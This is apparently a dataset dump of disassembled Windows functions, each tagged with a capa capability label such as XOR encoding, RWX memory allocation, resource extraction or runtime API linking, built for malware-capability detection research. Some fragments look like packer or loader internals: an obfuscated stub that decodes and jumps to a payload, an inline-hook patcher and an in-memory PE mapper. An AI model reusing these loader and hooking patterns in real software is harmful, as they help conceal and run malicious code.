joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4190a9
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x42a080
push 1
xor ebx, ebx
push ebx
push 0x42a130
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x41917a
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x42a120
push eax
call dword [ecx]
test eax, eax
jl 0x419171
cmp byte [ebp + 8], bl
je 0x4190fc
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x419119
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x41912b
push 0x42952c
jmp 0x41912e
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x419143
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x419154
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x419168
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x419194
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x41db3e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e298]
jne 0x41db48
repz ret
jmp fcn.004233ba
Function at 0x424c45
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041dbbf
and dword [ebp - 4], 0
cmp dword [0x44e6a8], 0
mov ebx, eax
jne 0x424cf6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x424da7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x424da7
push eax
call fcn.0041db4d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44e6a8], eax
call esi
push eax
call fcn.0041db4d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44e6ac], eax
call esi
push eax
call fcn.0041db4d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44e6b0], eax
call esi
push eax
call fcn.0041db4d
pop ecx
mov dword [0x44e6b8], eax
test eax, eax
je 0x424cf6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041db4d
pop ecx
mov dword [0x44e6b4], eax
mov eax, dword [0x44e6b4]
cmp eax, ebx
je 0x424d4e
cmp dword [0x44e6b8], ebx
je 0x424d4e
push eax
call fcn.0041dbc8
push dword [0x44e6b8]
mov esi, eax
call fcn.0041dbc8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x424d4e
test edi, edi
je 0x424d4e
call esi
test eax, eax
je 0x424d45
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x424d45
test byte [ebp - 0xc], 1
jne 0x424d4e
or dword [ebp + 0x10], 0x200000
jmp 0x424d87
mov eax, dword [0x44e6ac]
cmp eax, ebx
je 0x424d87
push eax
call fcn.0041dbc8
pop ecx
test eax, eax
je 0x424d87
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x424d87
mov eax, dword [0x44e6b0]
cmp eax, ebx
je 0x424d87
push eax
call fcn.0041dbc8
pop ecx
test eax, eax
je 0x424d87
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44e6a8]
call fcn.0041dbc8
pop ecx
test eax, eax
je 0x424da7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x424da9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x402ee4
pop dword [ebp - 0x48]
mov eax, 0x8d4e7402
add eax, 0x72f1bae2
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x4a5c71b9
sub dword [ebp - 0x58], 0xfc0a2c6e
mov dword [ebp - 0x54], 0x8262e6e7
add dword [ebp - 0x54], 0xafd0655e
mov dword [ebp - 0x50], 0xfcc372c0
add dword [ebp - 0x50], 0x4f88d16e
mov dword [ebp - 0x4c], 0x31f2c9b6
sub dword [ebp - 0x4c], 0x31f2c9b6
lea eax, [ebp - 0x58]
push eax
mov eax, 0x6650151a
add eax, 0x99f06bea
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xe13d3c4a
add dword [ebp - 0x58], 0x93352d0c
mov dword [ebp - 0x54], 0x3dccaf03
add dword [ebp - 0x54], 0x39fb272
mov dword [ebp - 0x50], 0x18c5290c
add dword [ebp - 0x50], 0x4aaa4360
mov dword [ebp - 0x4c], 0x3c335308
sub dword [ebp - 0x4c], 0x3c335308
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x340db
push 0
call eax
mov ecx, 0xf517dd28
add ecx, 0xae85eea
mov esi, eax
mov edi, 0x46e400
add edi, dword [ebp - 0x48]
mov edx, 0x44a63a3c
sub edx, 0xa75f00b9
sub dword [ebp - 0x14], ecx
mov ebx, dword [edi]
xor dword [ebp - 0x38], ebx
xor ebx, edx
xor dword [ebp - 0x3c], 0xbe6ddea0
mov dword [esi], ebx
xor dword [ebp - 4], edi
add esi, 0x65cdecc9
sub esi, 0x65cdecc5
add edi, 0xb1fe1344
add edi, 0x4e01ecc0
loop 0x402ffb
add eax, 0x542c450d
add eax, 0xabd49e0e
mov ebx, eax
add eax, 0x4f389b7b
add eax, 0xb0c7648a
mov ecx, 0x9203483a
add ecx, 0x6e3cb7c6
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0xaee0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00aee200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xaee0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaee0c2
add dl, dl
jne 0xaee0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaee134
xor eax, eax
add dl, dl
jne 0xaee0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaee1d5
add dl, dl
jne 0xaee0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaee108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaee113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaee11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xaee12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xaee0cd
mov eax, 1
add dl, dl
jne 0xaee142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaee14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaee139
sub eax, ebx
mov ebx, 1
jne 0xaee180
mov ecx, 1
add dl, dl
jne 0xaee166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaee171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaee15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaee0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xaee197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaee1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaee18e
cmp eax, 0x7d00
jae 0xaee1c5
cmp eax, 0x500
jb 0xaee1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaee0cd
cmp eax, 0x7f
ja 0xaee1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaee0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xaee1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xaee0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401d60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401d7b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401db2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x401dae
jmp 0x401da0
cmp esi, eax
jae 0x401db2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401da0
cmp esi, eax
jb 0x401db9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x402080
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
lea edx, [ebp + 0xc]
push edx
push 0x40
xor eax, eax
sub ecx, edi
push 8
mov dword [ebp - 8], eax
sub ecx, 5
mov dword [ebp - 4], eax
push edi
mov byte [ebp - 8], 0xe9
mov dword [ebp - 7], ecx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4020f8
push ebx
lea ebx, [ebp - 8]
push esi
mov esi, edi
sub ebx, edi
mov eax, dword [ebx + esi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
add esi, 4
lea eax, [edi + 4]
cmp esi, eax
jbe 0x4020c0
mov edx, dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
push ecx
push edx
push 8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4088d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x42f1f4]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.00410570
add esp, 0xc
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x408934
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f73a
mov esp, ebp
pop ebp
ret

Function at 0x408950
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x15
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push eax
call ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.USER32.dll_GetCursor]
push 0xffffffffffffffff
push 0
push 1
push 0x1f0001
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
push 0
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop edi
mov dword [esi], eax
mov eax, esi
pop ebx
pop ebp
ret 0x10

Function at 0x408a80
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x42f1f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push 0x104
lea edx, [ebp - 0x10b]
push 0
push edx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], ecx
mov byte [ebp - 0x10c], 0
call fcn.00410570
add esp, 0xc
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x408af5
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x110]
push eax
push ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 4]
mov dword [esi], eax
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.0040f73a
mov esp, ebp
pop ebp
ret 8
Function at 0x408dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
push edi
lea edi, [edx + eax + 0x28]
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
cmp dx, word [eax + 6]
jae 0x408e9a
push ebx
push esi
jmp 0x408df4
mov ecx, dword [ebp - 8]
mov eax, dword [edi]
test eax, eax
jne 0x408e4e
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x408e7d
mov esi, dword [edi - 4]
push 0
push 0
push 0x1f0001
add esi, ecx
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0x37
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.USER32.dll_GetFocus]
push 0x431e
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0x40
push 0x1000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0
push eax
mov dword [edi - 8], eax
call fcn.00410570
jmp 0x408e7a
mov edx, dword [edi - 4]
push 0x40
push 0x1000
push eax
add edx, ecx
push edx
lea esi, [ebp - 0xc]
call fcn.00408950
mov ecx, dword [edi + 4]
mov eax, dword [edi]
add ecx, dword [ebp + 8]
mov esi, dword [ebp - 0xc]
push eax
push ecx
push esi
call fcn.0040fa20
mov dword [edi - 8], esi
add esp, 0xc
mov edx, dword [ebp + 0x10]
mov ecx, dword [edx]
mov eax, dword [ebp - 4]
movzx edx, word [ecx + 6]
inc eax
add edi, 0x28
mov dword [ebp - 4], eax
cmp eax, edx
jl 0x408df1
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x409e70
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423263
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x42f1f4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.memory_module_dll.0
mov eax, dword [0x430424]
mov edx, dword [eax + 0xc]
lea edi, [esi + 4]
mov ecx, 0x430424
mov dword [ebp - 0x14], edi
call edx
add eax, 0x10
mov dword [edi], eax
mov dword [ebp - 4], 1
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
test eax, eax
jne 0x409ed9
xor ecx, ecx
jmp 0x409eef
mov ecx, eax
lea ebx, [ecx + 2]
mov edi, edi
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x409ee0
sub ecx, ebx
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.00403e00
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f73a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f1f4]
jne 0x40f744
repz ret
jmp fcn.00411e5c

Function at 0x41a58a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f1f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004118fa
and dword [ebp - 0x14], 0
cmp dword [0x43168c], 0
mov dword [ebp - 0x18], eax
jne 0x41a63d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41a6e5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41a6e5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43168c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x431690], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x431694], eax
call edi
push eax
call esi
mov dword [0x43169c], eax
test eax, eax
je 0x41a63d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x431698], eax
mov eax, dword [0x431698]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41a696
cmp dword [0x43169c], ecx
je 0x41a696
push eax
call esi
push dword [0x43169c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41a696
test ebx, ebx
je 0x41a696
call edi
test eax, eax
je 0x41a68d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41a68d
test byte [ebp - 8], 1
jne 0x41a696
or dword [ebp + 0x10], 0x200000
jmp 0x41a6c9
mov eax, dword [0x431690]
cmp eax, dword [ebp - 0x18]
je 0x41a6c9
push eax
call esi
test eax, eax
je 0x41a6c9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41a6c9
mov eax, dword [0x431694]
cmp eax, dword [ebp - 0x18]
je 0x41a6c9
push eax
call esi
test eax, eax
je 0x41a6c9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43168c]
call esi
test eax, eax
je 0x41a6e5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41a6e7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f73a
leave
ret
Function at 0x421c80
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x20]
xor eax, eax
xor ebx, ebx
cmp edx, 0
je 0x421de3
mov al, byte [edi]
mov bl, byte [edi + 4]
add edi, 8
lea ecx, [esi + edx]
sub ebp, esi
mov dword [esp + 0x18], ecx
inc al
cmp dword [edi + 0x100], 0xffffffff
je 0x421db0
mov ecx, dword [edi + eax*4]
and edx, 0xfffffffc
je 0x421d80
lea edx, [esi + edx - 4]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], ebp
lea esp, [esp]
add bl, cl
mov edx, dword [edi + ebx*4]
mov dword [edi + ebx*4], ecx
mov dword [edi + eax*4], edx
add edx, ecx
inc al
and edx, 0xff
mov ecx, dword [edi + eax*4]
mov ebp, dword [edi + edx*4]
add bl, cl
mov edx, dword [edi + ebx*4]
mov dword [edi + ebx*4], ecx
mov dword [edi + eax*4], edx
add edx, ecx
inc al
and edx, 0xff
ror ebp, 8
mov ecx, dword [edi + eax*4]
or ebp, dword [edi + edx*4]
add bl, cl
mov edx, dword [edi + ebx*4]
mov dword [edi + ebx*4], ecx
mov dword [edi + eax*4], edx
add edx, ecx
inc al
and edx, 0xff
ror ebp, 8
mov ecx, dword [edi + eax*4]
or ebp, dword [edi + edx*4]
add bl, cl
mov edx, dword [edi + ebx*4]
mov dword [edi + ebx*4], ecx
mov dword [edi + eax*4], edx
add edx, ecx
inc al
and edx, 0xff
ror ebp, 8
mov ecx, dword [esp + 0x20]
or ebp, dword [edi + edx*4]
ror ebp, 8
xor ebp, dword [esi]
cmp esi, dword [esp + 0x1c]
mov dword [ecx + esi], ebp
lea esi, [esi + 4]
mov ecx, dword [edi + eax*4]
jb 0x421ce0
cmp esi, dword [esp + 0x18]
je 0x421ddb
mov ebp, dword [esp + 0x20]
lea esp, [esp]
nop
add bl, cl
mov edx, dword [edi + ebx*4]
mov dword [edi + ebx*4], ecx
mov dword [edi + eax*4], edx
add edx, ecx
inc al
and edx, 0xff
mov edx, dword [edi + edx*4]
xor dl, byte [esi]
lea esi, [esi + 1]
mov ecx, dword [edi + eax*4]
cmp esi, dword [esp + 0x18]
mov byte [ebp + esi - 1], dl
jb 0x421d80
jmp 0x421ddb
movzx ecx, byte [edi + eax]
add bl, cl
movzx edx, byte [edi + ebx]
mov byte [edi + ebx], cl
mov byte [edi + eax], dl
add dl, cl
movzx edx, byte [edi + edx]
add al, 1
xor dl, byte [esi]
lea esi, [esi + 1]
movzx ecx, byte [edi + eax]
cmp esi, dword [esp + 0x18]
mov byte [ebp + esi - 1], dl
jb 0x421db4
dec al
mov byte [edi - 4], bl
mov byte [edi - 8], al
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4011bf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409038]
jne 0x4011c9
repz ret
jmp fcn.00401905

Function at 0x403941
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040299e
and dword [ebp - 0x14], 0
cmp dword [0x40a8e4], 0
mov dword [ebp - 0x18], eax
jne 0x4039f4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403a9c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403a9c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40a8e4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40a8e8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40a8ec], eax
call edi
push eax
call esi
mov dword [0x40a8f4], eax
test eax, eax
je 0x4039f4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40a8f0], eax
mov eax, dword [0x40a8f0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403a4d
cmp dword [0x40a8f4], ecx
je 0x403a4d
push eax
call esi
push dword [0x40a8f4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403a4d
test ebx, ebx
je 0x403a4d
call edi
test eax, eax
je 0x403a44
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x403a44
test byte [ebp - 8], 1
jne 0x403a4d
or dword [ebp + 0x10], 0x200000
jmp 0x403a80
mov eax, dword [0x40a8e8]
cmp eax, dword [ebp - 0x18]
je 0x403a80
push eax
call esi
test eax, eax
je 0x403a80
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x403a80
mov eax, dword [0x40a8ec]
cmp eax, dword [ebp - 0x18]
je 0x403a80
push eax
call esi
test eax, eax
je 0x403a80
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40a8e4]
call esi
test eax, eax
je 0x403a9c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403a9e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004011bf
leave
ret
Function at 0x6d8f364a
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d4c]
test eax, eax
je 0x6d8f36b9
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d4c]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.6d8fdb66
pop ecx
pop edi
pop esi
ret

Function at 0x6d8f3d88
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
test eax, eax
je 0x6d8f3dbd
push edi
mov edi, 0x120
cmp dword [esp + 0x10], edi
jae 0x6d8f3db0
push eax
call fcn.6d8f4838
push 2
call fcn.6d8f4827
pop ecx
pop ecx
mov dword [esi], eax
push edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
pop edi
pop esi
ret

Function at 0x6d8fe17a
Capabilities:
Read file on windows

Disassembly:
cmp byte [esi], 0
push ebx
push edi
jne 0x6d8fe200
mov edi, dword [esp + 0xc]
mov eax, dword [edi + 0x38]
mov ecx, dword [eax + 0x3c]
mov ebx, dword [sym.imp.MSVCR100.dll_fread]
test ecx, ecx
je 0x6d8fe1a0
push 1
push esi
push edi
call ecx
add esp, 0xc
jmp 0x6d8fe1ad
push dword [eax + 0x38]
push 1
push 1
push esi
call ebx
add esp, 0x10
cmp eax, 1
je 0x6d8fe1c0
mov dword [0x6d919e8c], 0x66
xor eax, eax
jmp 0x6d8fe215
mov eax, dword [edi + 0x38]
mov ecx, dword [eax + 0x3c]
lea edi, [esi + 1]
test ecx, ecx
je 0x6d8fe1dd
movzx eax, byte [esi]
push eax
push edi
push dword [esp + 0x14]
call ecx
add esp, 0xc
jmp 0x6d8fe1ec
push dword [eax + 0x38]
movzx eax, byte [esi]
push eax
push 1
push edi
call ebx
add esp, 0x10
movzx ecx, byte [esi]
cmp eax, ecx
jne 0x6d8fe1b2
mov al, byte [edi]
mov ecx, dword [esp + 0x10]
mov byte [ecx], al
mov byte [edi], 2
jmp 0x6d8fe210
movzx eax, byte [esi + 1]
mov al, byte [eax + esi]
mov ecx, dword [esp + 0x10]
mov byte [ecx], al
inc byte [esi + 1]
dec byte [esi]
xor eax, eax
inc eax
pop edi
pop ebx
ret